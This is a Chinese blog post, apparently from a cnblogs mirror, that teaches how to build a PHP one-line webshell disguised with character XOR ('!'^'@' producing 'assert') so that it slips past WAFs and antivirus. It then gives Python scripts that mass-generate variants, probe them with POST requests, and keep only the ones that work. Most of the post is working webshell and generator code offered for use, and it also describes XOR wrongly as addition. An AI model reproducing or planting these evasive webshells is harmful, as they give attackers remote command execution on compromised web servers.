zoukankan      html  css  js  c++  java
  • 使用python3批量生成经过异或免杀php一句话木马

    题记

        Get到新姿势,踩坑记录:eval不能用,php7.1之后assert()也不能用。最后说一下,蚁剑是可以用assert的,不过编码最后使用base64。

    免杀一句话解析

    1、一句话如下:

    <?php $a=('!'^'@').'ssert';
    
    $a($_POST[cmd]);
    
    ?>

      2、原理Ascii值的转换

      ASCII表如下图:

      '!'^'@'可以看表!为33而@为64,转换原理是把33与64分别换成二进制,然后相加在转换成字符就是a,和后面代码拼接就可以成为assert,这种方式可以绕过waf,构成免杀php一句话。

    Python3批量生成木马脚本

        因为算字符值太麻烦了,所以脚本生成木马原理为先生成所有异或组成的大量文件,然后在这些文件中挑选出成功执行的一句话。

        1、生成文件

    #这里可以从1开始运行,我不想生成太多文件所以设的大
    
    for i in range(80,127):
    
    for ii in range(90,127):
    
    code="<?php $a=("+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+").'ssert';echo $a;$a($_POST[cmd]);?>"
    
    with open('D:/git/phpStudy/PHPTutorial/WWW/www.hack.com/'+str(i)+'mm'+str(ii)+'.php','a+') as f:
    
    f.write(code)
    
    f.close()

        2、找到成功的代码

      3、代码成功执行

    import requests
    
     
    
     
    
    #这里可以运行到127,我不想生成太多文件所以设的大
    
    for i in range(20,50):
    
    for ii in range(50,90):
    
    code="<?php $a=("+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+").'ssert';$a($_POST[cmd]);?>"
    
    with open('D:/git/phpStudy/PHPTutorial/WWW/www.hack.com/'+str(i)+'mm'+str(ii)+'.php','a+') as f:
    
    f.write(code)
    
    f.close()
    
    url='http://www.hack.com/'+str(i)+'mm'+str(ii)+'.php'
    
    data={
    
    'cmd':'phpinfo();'
    
    }
    
    result=requests.post(url,data=data).content.decode('utf-8')
    
    if 'phpinfo' in result:
    
    print(str(i)+'mm'+str(ii)+'.php'+'|ok')
    
    else:
    
    print(str(i) + 'mm' + str(ii) + '.php' + '|no')

    优化后

      这是我自己设计的,挑选出能执行的一句话,删除不能执行的一句话,最后剩下能执行的。

    import requests
    
    import os
    
     
    
    #这里可以运行1到127,我不想生成太多文件所以设的大
    
    for i in range(30,40):
    
    for ii in range(50,70):
    
    code="<?php $a=("+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+").'ssert';$a($_POST[cmd]);?>"
    
    with open('D:/git/phpStudy/PHPTutorial/WWW/www.hack.com/'+str(i)+'mm'+str(ii)+'.php','a+') as f:
    
    f.write(code)
    
    f.close()
    
    url='http://www.hack.com/'+str(i)+'mm'+str(ii)+'.php'
    
    data={
    
    'cmd':'phpinfo();'
    
    }
    
    result=requests.post(url,data=data).content.decode('utf-8')
    
    if 'phpinfo' in result:
    
    print('bypass ok->'+str(i)+'mm'+str(ii)+'.php'+'|ok')
    
    print(code)
    
    else:
    
    file='D:/git/phpStudy/PHPTutorial/WWW/www.hack.com/'+str(i)+'mm'+str(ii)+'.php'
    
    os.remove(file)

    参考文章

      一句话木马踩坑记:http://xz.aliyun.com/t/6511

  • 相关阅读:
    Linux(Unix)时钟同步ntpd服务配置方法(转载)
    Linux SSH Publickey登录!
    三个最短路算法
    三个最短路算法
    最大子列和问题
    哈密尔顿环
    最小生成树应用解(超时)蓝桥杯2015初赛]灾后重建
    最小生成树应用解(超时)蓝桥杯2015初赛]灾后重建
    c++11的记录
    最大子列和问题
  • 原文地址:https://www.cnblogs.com/sunny11/p/14599033.html
Copyright © 2011-2022 走看看